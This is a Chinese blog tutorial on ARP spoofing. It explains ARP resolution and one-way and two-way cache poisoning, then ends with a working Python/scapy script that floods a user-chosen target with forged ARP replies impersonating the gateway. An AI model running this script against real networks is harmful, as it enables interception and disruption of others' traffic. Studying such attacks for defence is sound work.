ARP欺骗原理+python脚本实现

2021/11/27 11:12:14

本文主要是介绍ARP欺骗原理+python脚本实现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

文章目录

  • 1.ARP协议工作过程
  • 2.ARP欺骗原理
    • 2.1单向欺骗
    • 2.1双向欺骗
  • 3.利用脚本实现ARP攻击

1.ARP协议工作过程

假设有两台主机A:192.168.1.1,B:192.168.1.2。当主机A要与主机B通信时,A首先会以广播的方式发送一个ARP请求包,该数据包包含了源IP(192.168.1.1),源MAC(A),目标IP(192.168.1.2),目标MAC(ff:ff:ff:ff:ff:ff),B收到广播包后会先将A的IP与MAC地址记录到自己的ARP缓存表中,然后给A单播回复ARP replay包,该数据包包含了源IP(192.168.1.2),源MAC(B),目标IP(192.168.1.1),目标MAC(A),A收到该数据包后会将B的IP和MAC记录到自己的ARP缓存中,之后与B的通讯查询缓存即可。

2.ARP欺骗原理

由于ARP是无状态协议,所以当一台主机收到一个ARP响应包后不会检查自己是否发送过ARP请求,而是直接将该条记录加载到ARP缓存表中或更新原记录。这样就可以利用向目标主机发送大量的ARP响应包导致目标主机的ARP缓存一致处于错误记录状态,从而达到ARP欺骗目的

2.1单向欺骗

单向欺骗是只对目标主机或者网关发起ARP欺骗,攻击者只需要将自己伪装成网关或者一台主机向局域网内其他主机发送ARP响应报文即可

2.1双向欺骗

攻击者同时欺骗网关和目标主机,对网关说我是A,对A说我是网关,那么A与网关之间的流量都要经过攻击者的电脑,他们之间的数据也都将被攻击者截获。

3.利用脚本实现ARP攻击

from scapy.all import *
import time


def ethernet(targetIP):
    eth = Ether()
    eth.dst = getmacbyip(targetIP)
    eth.type = 0x0806
    return eth


def arpPacket(targetIP):
    arp = ARP()
    arp.hwlen = 6
    arp.plen = 4
    arp.op = 2
    arp.psrc = conf.route.route()[2]
    arp.hwdst = getmacbyip(targetIP)
    arp.pdst = targetIP
    return arp


def sendPacket(targetIP):
    eth = ethernet(targetIP)
    arp = arpPacket(targetIP)
    packet = eth / arp
    sendp(packet)


if __name__ == '__main__':
    targetIP = input("Please input target ip: ")
    while True:
        sendPacket(targetIP)
        time.sleep(0.5)



这篇关于ARP欺骗原理+python脚本实现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程